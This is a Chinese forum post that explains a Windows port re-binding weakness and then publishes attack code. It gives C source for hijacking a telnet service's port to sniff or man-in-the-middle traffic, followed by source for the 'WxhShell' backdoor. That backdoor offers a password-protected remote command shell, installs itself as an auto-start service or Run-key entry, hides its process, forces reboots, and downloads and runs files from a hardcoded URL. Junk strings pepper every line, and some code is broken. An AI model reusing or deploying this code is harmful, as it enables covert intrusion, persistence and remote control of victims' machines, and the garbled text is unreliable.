社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13248阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WRVKh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '(2G qX!  
L}>9@?;GW  
  saddr.sin_family = AF_INET; cB.v&BSW  
K W04  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m|24)%Vj;=  
t~5>PS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &`@,mUi{Ac  
!!2~lG<]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +R2  
EoQ.d|:g  
  这意味着什么?意味着可以进行如下的攻击: of+$TKQNpN  
(d#?\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5? c4aAn  
jXZKR(L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HP]Xh~aP  
 V}8J&(\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >/e#Z h  
]lz,?izMR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ba`]Sm=  
qf)]!w U9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C!qW:H  
xBB:b\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 akd~Z  
$|(roC(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }{iR+M X  
Ao{wd1  
  #include /^#} \<;  
  #include 'd(}bYr)  
  #include D3XQ>T[*q  
  #include    -.^Mt.)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %NeKDE  
  int main() jy&p_v1  
  { Fi7pq2  
  WORD wVersionRequested; t$\]6RU  
  DWORD ret; K\?vTgc(  
  WSADATA wsaData; >IoOCQQ*  
  BOOL val; !m_'<=)B4~  
  SOCKADDR_IN saddr; z w5EaY  
  SOCKADDR_IN scaddr; j{p0yuZ)<  
  int err; ).v;~yE   
  SOCKET s; !vImmhI!I  
  SOCKET sc; D#(A?oN  
  int caddsize; e#_xDR:  
  HANDLE mt; Bct>EWQ  
  DWORD tid;   L x9`y t6  
  wVersionRequested = MAKEWORD( 2, 2 ); )j6S<mn  
  err = WSAStartup( wVersionRequested, &wsaData ); 5fVdtJk7  
  if ( err != 0 ) { ^gb2=gWZ<  
  printf("error!WSAStartup failed!\n"); 3c9v~5og4  
  return -1; :dLS+cTC  
  } m{b(^K9}  
  saddr.sin_family = AF_INET; I9Z8]Q+2"  
   ge[\%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >St  
bzUc;&WDz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YJ3970c/M  
  saddr.sin_port = htons(23); :$P < e~z'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g@nE7H1V  
  { c?IIaj !  
  printf("error!socket failed!\n"); c!kbHZ<Z  
  return -1; i~K~Czmok+  
  } 4{fi=BA   
  val = TRUE;  #lJF$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =q6yb@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |W#^L`!G  
  { Bb-x1{t  
  printf("error!setsockopt failed!\n"); ,{E'k+  
  return -1; tM@TT@.t~  
  } pdtK3Pf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N4HnW0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q=96Ci_a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C}+(L3Z  
w7dG=a&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V]vk9M2q[l  
  { `^_.E:f  
  ret=GetLastError(); 4AP<mo  
  printf("error!bind failed!\n"); :=~([oSNW"  
  return -1; /j S  
  } Cs*u{O  
  listen(s,2); 56TUh_  
  while(1) hP 9+|am%  
  { :UScbPG  
  caddsize = sizeof(scaddr); *a$z!Ma3h  
  //接受连接请求 V2.MZ9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2OK%eVba  
  if(sc!=INVALID_SOCKET) @8/-^Rh*  
  { 0|4XV{\qT$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )ZiJl5l@  
  if(mt==NULL) {H0B"i  
  {  wl9E  
  printf("Thread Creat Failed!\n"); cT.1oaAM0  
  break; "J[Crm  
  } ,Zs-<e"  
  }  : [AW  
  CloseHandle(mt); 0eUsvzz 15  
  } \ u5%+GA-:  
  closesocket(s); }1(F~6RH  
  WSACleanup(); bLf }U9  
  return 0; D$ `yxc  
  }   M4')gG;  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;itz` 9T  
  { qU=$ 0M  
  SOCKET ss = (SOCKET)lpParam; hg\$>W~ 2  
  SOCKET sc; M+nz~,![  
  unsigned char buf[4096]; eb:uh!  
  SOCKADDR_IN saddr; -y$|EOi?  
  long num; N$_Rzh"9rr  
  DWORD val; @-u/('vpB  
  DWORD ret; Jh }3AoD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nwV\ [E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O<o_MZN  
  saddr.sin_family = AF_INET; &4B N9`|:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d3Y#_!)  
  saddr.sin_port = htons(23); 'f5,%e2#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]2Lwd@  
  { [qid4S~r,&  
  printf("error!socket failed!\n"); vT[%*)`  
  return -1; D+"5R5J",  
  } c()F%e:n  
  val = 100; r0S"}<8O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f+gyJ#R`  
  { *+Q,b^N  
  ret = GetLastError(); TQnMPELh"  
  return -1; 'VO^H68  
  } SJ+.i u/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .!=g  
  { 9Y-s],2V  
  ret = GetLastError(); Ym!Ia&n  
  return -1; [nflQW6  
  } =zI eZ7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b]*9![_  
  { oOJN?97!k  
  printf("error!socket connect failed!\n"); E#_}y}7JY  
  closesocket(sc); rY($+O@a<  
  closesocket(ss); %iF< px?Vc  
  return -1; ^WM)UZEBC  
  } % ]  
  while(1) ?M\3n5;  
  { BIX%Bu0'f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LI(Wu6*Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Yo:>m*31  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uZW1 :cx  
  num = recv(ss,buf,4096,0); 59ro-nA9v  
  if(num>0) 7?cZ9^z`w  
  send(sc,buf,num,0); i mJ{wF  
  else if(num==0) dr:)+R  
  break; |QxDjL<&t4  
  num = recv(sc,buf,4096,0); G?8,&jP~T  
  if(num>0) CXJ0N   
  send(ss,buf,num,0); Ku&0bXP  
  else if(num==0) 6C) G  
  break; v>0xHQD*<M  
  } TX8,+s+  
  closesocket(ss); Xt9?7J#\T  
  closesocket(sc); %.[GR  
  return 0 ; KWhw@y-5j@  
  } eGnc6)x@C  
0}HKmEM  
ks'25tv}F  
========================================================== SOeL@!_  
v#D9yttO{  
下边附上一个代码,,WXhSHELL SAXjB;VH6  
f'R^MX2  
========================================================== ~@L$}Eu  
_X;5ORH"  
#include "stdafx.h" W^al`lg+y  
$Ne#F+M9x  
#include <stdio.h> e 0!a &w  
#include <string.h> k(hes3JV  
#include <windows.h> N6yqA)z?;  
#include <winsock2.h> {f)",#  
#include <winsvc.h> {P-KU RQ  
#include <urlmon.h> }^P(p?~  
-Z]?v3 9  
#pragma comment (lib, "Ws2_32.lib") t</Kel|D  
#pragma comment (lib, "urlmon.lib") /koNcpJ  
'du:Bxl`d4  
#define MAX_USER   100 // 最大客户端连接数 (q3(bH~T)  
#define BUF_SOCK   200 // sock buffer f{5)yZ`J*  
#define KEY_BUFF   255 // 输入 buffer j3z&0sc2(0  
Z\O ,9  
#define REBOOT     0   // 重启 4z[Z3|_V  
#define SHUTDOWN   1   // 关机 T4qbyui{  
ugucq},[  
#define DEF_PORT   5000 // 监听端口 6}{2W<  
Jp_{PR:&  
#define REG_LEN     16   // 注册表键长度 D='/-3f!F]  
#define SVC_LEN     80   // NT服务名长度 --.:eFE/  
MT;<\T  
// 从dll定义API <@5#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r~TiJ?8I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q)HVh[4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > NK?!!A_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g"xLS}Al  
$ShL^g@  
// wxhshell配置信息 -\AB!#fh  
struct WSCFG { [0F+t,`  
  int ws_port;         // 监听端口 "YHe]R>3s  
  char ws_passstr[REG_LEN]; // 口令 7P:0XML}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yq<D(F#qx  
  char ws_regname[REG_LEN]; // 注册表键名 -twIF49  
  char ws_svcname[REG_LEN]; // 服务名 GVn7#0x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5GT,:0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZK3?"|vhC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #.a4}ya19  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =4+UX*&i?.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z4bN|\I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <hQ@]2w$  
\L6U}ZQ2V  
}; (/Z~0hA[Q  
@T]gw J  
// default Wxhshell configuration T(7 8{A>  
struct WSCFG wscfg={DEF_PORT, d*8 c,x  
    "xuhuanlingzhe", kn`KU.J.  
    1, >x&$lT{OY  
    "Wxhshell", x\;`x$3t  
    "Wxhshell", K'N\"Y?>  
            "WxhShell Service", S #&HB  
    "Wrsky Windows CmdShell Service", M)Tv(7  
    "Please Input Your Password: ", a5z.c_7r  
  1, +;U}SR<  
  "http://www.wrsky.com/wxhshell.exe", pShSK Rg  
  "Wxhshell.exe" E^#|1Kpq  
    }; B,|M  
Yca9G?^\v  
// 消息定义模块 >Mrz$ z{x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m'oVqA&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;^O^&<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 09%q/-$  
char *msg_ws_ext="\n\rExit."; dg/7?gV  
char *msg_ws_end="\n\rQuit."; JB''Ujyi  
char *msg_ws_boot="\n\rReboot..."; 9v 0.]  
char *msg_ws_poff="\n\rShutdown..."; c*MjBAq  
char *msg_ws_down="\n\rSave to "; FbW kT4t|  
(Qq! u  
char *msg_ws_err="\n\rErr!"; oQWS$\Rr.  
char *msg_ws_ok="\n\rOK!"; u#la+/   
9%kY8#%SV  
char ExeFile[MAX_PATH]; -!(3fO:  
int nUser = 0; \9@*Jgpd6*  
HANDLE handles[MAX_USER]; =?vk n  
int OsIsNt; f1hi\p0q  
i LK8Wnrq  
SERVICE_STATUS       serviceStatus; l yO_rZT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J0mY=vX  
w0^(jMQe^  
// 函数声明 k$k (g  
int Install(void); qV9`  
int Uninstall(void); {foF[M  
int DownloadFile(char *sURL, SOCKET wsh); y%}Po)X]f  
int Boot(int flag); -H'_%~OV(  
void HideProc(void); c@5fiRPv!  
int GetOsVer(void); %49@  
int Wxhshell(SOCKET wsl); _6^vxlF  
void TalkWithClient(void *cs); qJ#?=ITE  
int CmdShell(SOCKET sock); c<DsCzX  
int StartFromService(void); |3Oe2qb  
int StartWxhshell(LPSTR lpCmdLine); QVn!60[lj  
}9<aX Y,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |@Q(~[It  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qj[4gN?}=  
3`IDm5  
// 数据结构和表定义  L~I<y;x  
SERVICE_TABLE_ENTRY DispatchTable[] = /PQg>Pa85  
{ n?!.r c  
{wscfg.ws_svcname, NTServiceMain}, V|#B=W  
{NULL, NULL} Qaq{UW  
}; b (;"p-^  
$axaI$bE  
// 自我安装 REQ2pfk0  
int Install(void) Ml+.\'r  
{ 0Q]x[;!k  
  char svExeFile[MAX_PATH]; %DgU  
  HKEY key; 8 x|NR?  
  strcpy(svExeFile,ExeFile); d3 fE[/oU  
3L=vsvO4  
// 如果是win9x系统,修改注册表设为自启动 |~8iNcIS  
if(!OsIsNt) { /<zBcpVNV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !@ai=p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4LUFG  
  RegCloseKey(key); pjIXZ=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QIBv}hgcy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U/D\N0  
  RegCloseKey(key); Lo7R^>  
  return 0; /LPSI^l!m  
    } V8[woJ5x  
  } lJ R",_  
} Z-Bw?_e_K  
else { [AE]0cO@  
r}D`15IHJ  
// 如果是NT以上系统,安装为系统服务 1i2jYDB"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c6E@+xU  
if (schSCManager!=0) g2:^Z==  
{ hb_YdnG  
  SC_HANDLE schService = CreateService /_26D0}UuF  
  ( Eq~&d.j  
  schSCManager, Y]B2-wt-  
  wscfg.ws_svcname, l: 1Zq_?v;  
  wscfg.ws_svcdisp, WASs'Gx  
  SERVICE_ALL_ACCESS, ~?[%uGI0h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y5|`B(  
  SERVICE_AUTO_START, WvUe44&^$  
  SERVICE_ERROR_NORMAL, SZK~<@q5  
  svExeFile, .CQ IN]iD  
  NULL, y?CEV-3+  
  NULL, 19 bP0y  
  NULL, (`!?p ^>A  
  NULL, i,<TaW*I  
  NULL #*}4=  
  ); l4L&hY^  
  if (schService!=0) l')?w]|  
  { kX+y2v(2++  
  CloseServiceHandle(schService); &0Wv+2l @  
  CloseServiceHandle(schSCManager); &" K74  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H5^ 'J`0\  
  strcat(svExeFile,wscfg.ws_svcname); J3S@1"   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2@uo2]o)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J@p[v3W  
  RegCloseKey(key); /NMd GKr  
  return 0; oBifESJ  
    } NU I|4X  
  } [=S@lURzm@  
  CloseServiceHandle(schSCManager); q`"gT;3S  
} qD7# q]  
} `[VoW2CLH+  
pWwaN4  
return 1; h1FM)n[E7  
} &AZr (>  
My,ki:V?g6  
// 自我卸载 (NScG[$}  
int Uninstall(void) z"=#<C  
{ C;G~_if4PR  
  HKEY key; I/pavh  
9~ K 1+%!  
if(!OsIsNt) { na(@`(j[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bn~=d@'  
  RegDeleteValue(key,wscfg.ws_regname); v&xk?F?WU,  
  RegCloseKey(key); X<#Q~"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z<sf}6q  
  RegDeleteValue(key,wscfg.ws_regname); Rkw)IdB  
  RegCloseKey(key); Y>R|Uf.o z  
  return 0; "'^#I_*Mf  
  } A^bg*t,  
} F4YCU$V  
} j'X]bd'  
else { \&Mipf7a  
1EyM,$On  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k .KN9=o  
if (schSCManager!=0)  H.'MQ  
{ aVM@^n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K /g\x0  
  if (schService!=0) {%N*AxkvId  
  { |L%F`K>Z:  
  if(DeleteService(schService)!=0) { R1{ "  
  CloseServiceHandle(schService); sn}U4=u  
  CloseServiceHandle(schSCManager); vd9l1"S  
  return 0; `~(KbH=]  
  } H}dsd=yO  
  CloseServiceHandle(schService); do+HPnfDzU  
  } tceQn ^|<  
  CloseServiceHandle(schSCManager); 6f\0YU<C&  
} CJ {?9z@$.  
} :PY~Cws  
qyP@[8eH  
return 1; Uj(,6K8W  
} R`:Y&)c_$  
]uWx<aD B  
// 从指定url下载文件 Nye Ga  
int DownloadFile(char *sURL, SOCKET wsh) w`CGDF\Oo  
{ e7{3:y|]d3  
  HRESULT hr; *jCXH<?R  
char seps[]= "/"; ( T VzYm y  
char *token; D?) "Z$  
char *file; %K\_gR}V  
char myURL[MAX_PATH]; eeoIf4]  
char myFILE[MAX_PATH]; wHx1CXC  
u/h Ff3  
strcpy(myURL,sURL); M9 fAv  
  token=strtok(myURL,seps); _$9<N5F.,o  
  while(token!=NULL) 4IG'T m  
  { 0>)('Kv  
    file=token; oi::/W|A+  
  token=strtok(NULL,seps); 6HCP1`gg   
  } T]Vh]|_s  
)^|zuYzN  
GetCurrentDirectory(MAX_PATH,myFILE); I8Y[d$z  
strcat(myFILE, "\\"); V2u^sy  
strcat(myFILE, file); Y(m/E.h.~  
  send(wsh,myFILE,strlen(myFILE),0); Y@Lv>p  
send(wsh,"...",3,0); "o*F$7D!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `2o/W]SSk  
  if(hr==S_OK) sG%Q?&-  
return 0; QukLsl]U  
else Ki,]*-XO  
return 1; Aq^1(-g  
Q6`oo/  
} ^; Nu\c  
QNLkj`PL/  
// 系统电源模块 vh"zYl`  
int Boot(int flag) 2w$o;zz1  
{ ^}ngb Dn  
  HANDLE hToken; b* no.eB  
  TOKEN_PRIVILEGES tkp; d?$FAy'o5  
_Su? VxU  
  if(OsIsNt) { XTG*56IzL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pa~.[cBI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B+ud-M0  
    tkp.PrivilegeCount = 1; JY(_}AAu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $*Njvr7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &DYHkG  
if(flag==REBOOT) { OHdC t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G[)Ll=  
  return 0; Ep|W>  
} aW$sd)  
else { 5 UpN/\He  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7i`@`0   
  return 0; HC@E&t  
} b%2+g<UKh  
  } i5T&1W i  
  else { u%Bk"noCa  
if(flag==REBOOT) { *T$`5|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +?),BRCce  
  return 0; WtN o@e'  
} <T>C}DGw  
else { yEJ}!/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EEEYNu/4/  
  return 0; ^%@(> :)0  
} ZxlQyr`~a(  
} f]tc$`vb  
}oIA*:5  
return 1; ZZL.&Ho  
} G'^Qi}o  
ArDkJ`DE  
// win9x进程隐藏模块 x=pq-&9>B  
void HideProc(void) 6Z]* ce<r  
{ t|0Zpp;  
^G.PdX$M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Smzy EMT  
  if ( hKernel != NULL ) Vahfz8~w/  
  { %a{$M{s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x6d+`4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6J9^:gXW~  
    FreeLibrary(hKernel); OGw =e{  
  } IP~*_R"bM  
]x8 ^s  
return; Kr3L~4>  
} YDE;mIW  
M. O3QKU4  
// 获取操作系统版本 l~kxt2&  
int GetOsVer(void) -/*-e /+b  
{ 9^h0D}#@  
  OSVERSIONINFO winfo; ZW{pO:-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &x =}m  
  GetVersionEx(&winfo); _5 Zhv-7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p}$VBl$'  
  return 1; BUqe~E|I  
  else 8<#X]I_eP+  
  return 0; W-ErzX  
} 5(R ./  
1K.i>]}>  
// 客户端句柄模块 Q%o:*(x[O  
int Wxhshell(SOCKET wsl) w#_/CU L  
{ PTfTT_t  
  SOCKET wsh; o(Yj[:+m  
  struct sockaddr_in client; T$RVz   
  DWORD myID; -$WU -7`  
O>9+ tQ  
  while(nUser<MAX_USER) f'` QW@U  
{ )F Q '^  
  int nSize=sizeof(client); B~K@o.%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1|_jV7`Mz  
  if(wsh==INVALID_SOCKET) return 1; r9 G}[# DO  
xPoI+,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Zf hQ5bat  
if(handles[nUser]==0) o,dO.isgh>  
  closesocket(wsh); Bj5_=oo+d  
else Y -%g5  
  nUser++; V +j58Wuf  
  } gM~ dPM|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bBA #o\[  
eT* )r~  
  return 0; 9aky+  
} b2]1Dfw  
FMMQO,BU  
// 关闭 socket .G8+D%%.  
void CloseIt(SOCKET wsh) ANh7`AUuO  
{ wPdp!h7B~N  
closesocket(wsh); I/:M~ b  
nUser--; ,$BbJQ5  
ExitThread(0); O}5mDx  
} {}!`v%z  
&Jw]3U5J  
// 客户端请求句柄 -8H0f- 1  
void TalkWithClient(void *cs) (`<X9w,  
{ f'._{"  
w ryjs!  
  SOCKET wsh=(SOCKET)cs; M|IR7OtLV  
  char pwd[SVC_LEN]; j_ i/h "  
  char cmd[KEY_BUFF]; faH113nc  
char chr[1]; fR[kjwX)<1  
int i,j; qk!")t  
hZ6CiEJB  
  while (nUser < MAX_USER) { #;,dk(URo  
:=9?XzCC  
if(wscfg.ws_passstr) { ^UTQcm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7`AQn],  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Jfi"L  
  //ZeroMemory(pwd,KEY_BUFF); X.TsOoy  
      i=0; 8Ac5K!  
  while(i<SVC_LEN) { 9,8}4Y=GVI  
92zo+bc  
  // 设置超时 C 8 [W  
  fd_set FdRead; Z#w@ /!"}T  
  struct timeval TimeOut; :Z rE/3_S  
  FD_ZERO(&FdRead); 8~Avg6,  
  FD_SET(wsh,&FdRead); hI249gW9  
  TimeOut.tv_sec=8; *UM=EQaYk  
  TimeOut.tv_usec=0; +*/XfPlr|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5y3V duE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cVCylR U"  
ON"F h'?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8:s" ^YLN  
  pwd=chr[0]; mc37Y.  
  if(chr[0]==0xd || chr[0]==0xa) { %^1@c f?.  
  pwd=0; lxsBXXZg  
  break; P,1[NW  
  } `x%( n@g  
  i++; c~j")o  
    } !\D[lh}rL  
;oL`fQyr  
  // 如果是非法用户,关闭 socket  0Bbno9Yp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y [8~M8QX  
} .C$4jR.KC  
zg)-RCG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Uy49cs,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ig:E` Fe@  
X'BFR]cm  
while(1) { ca~nfo  
@nIoYT='  
  ZeroMemory(cmd,KEY_BUFF); }\+7*|  
q0* e1QL  
      // 自动支持客户端 telnet标准   eAvOT$  
  j=0; 6KT]3*B   
  while(j<KEY_BUFF) { }@VdtH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ue?e}hF  
  cmd[j]=chr[0]; ~ti{na4W<  
  if(chr[0]==0xa || chr[0]==0xd) { J QSp2b@'H  
  cmd[j]=0; 7&ty!PpD  
  break; dw6U}  
  } aE]/w1a  
  j++; 1$1s 0yg  
    } $A>\I3B  
7Q_AZR 4  
  // 下载文件 ~o"VZp  
  if(strstr(cmd,"http://")) { VG,O+I'^z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Dz$OZP  
  if(DownloadFile(cmd,wsh)) u7L!&/6On  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >\J({/ #O  
  else O+ ].'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pr|:nJs  
  } d"h*yH@  
  else { CJ'pZ]\G  
53vnON#{*  
    switch(cmd[0]) { 6;|6@j  
  Id_?  
  // 帮助 yWsJa)e3*@  
  case '?': { uU+R,P0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bU3e*Er  
    break; (~}P.?C8  
  } G:u-C<^'  
  // 安装 AHg:`Wjv-  
  case 'i': { /E(319u_  
    if(Install()) mPhrMcL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ab| t E5%  
    else ui _nvD:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q#}#A@Rg  
    break; heLWVI[so  
    } bLSZZfq  
  // 卸载 w4 R!aWLd  
  case 'r': { CC8M1iW3  
    if(Uninstall()) Nd5G-eYI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rUg<(/c  
    else nDiy[Y-4Wp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w]<a$C8*y:  
    break; OHEl.p]|  
    } pi/Jto25z  
  // 显示 wxhshell 所在路径 6p;G~,bd~  
  case 'p': { ar+ j`QIe  
    char svExeFile[MAX_PATH]; c,wYXnJ_t  
    strcpy(svExeFile,"\n\r"); &Nzq/~uqP  
      strcat(svExeFile,ExeFile); U^AywE]  
        send(wsh,svExeFile,strlen(svExeFile),0); q\0CS>.  
    break; 4V2}'/|[  
    } 4FWL\;6  
  // 重启 701mf1a  
  case 'b': { m {dXN=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % s|` 1`c  
    if(Boot(REBOOT)) .?<M$38fv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?vnO@Bb/a  
    else { H> zX8qP+  
    closesocket(wsh); n\X'2  
